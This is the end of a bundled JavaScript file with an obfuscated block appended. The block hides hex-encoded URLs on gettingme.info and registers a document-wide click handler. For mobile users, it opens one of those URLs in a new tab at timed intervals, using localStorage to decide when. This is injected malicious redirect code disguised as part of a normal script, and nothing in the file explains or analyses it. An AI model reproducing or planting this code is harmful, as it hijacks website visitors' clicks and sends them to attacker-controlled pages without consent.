},{}]},{},[1]); ; })(); function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x59\x68\x43\x33\x63\x303','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x43\x57\x49\x35\x63\x375','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x77\x67\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x44\x44\x78\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x67\x41\x34\x63\x394','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4f\x6f\x65\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6c\x77\x59\x32\x63\x342','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x50\x6d\x46\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6b\x6c\x53\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x70\x59\x44\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());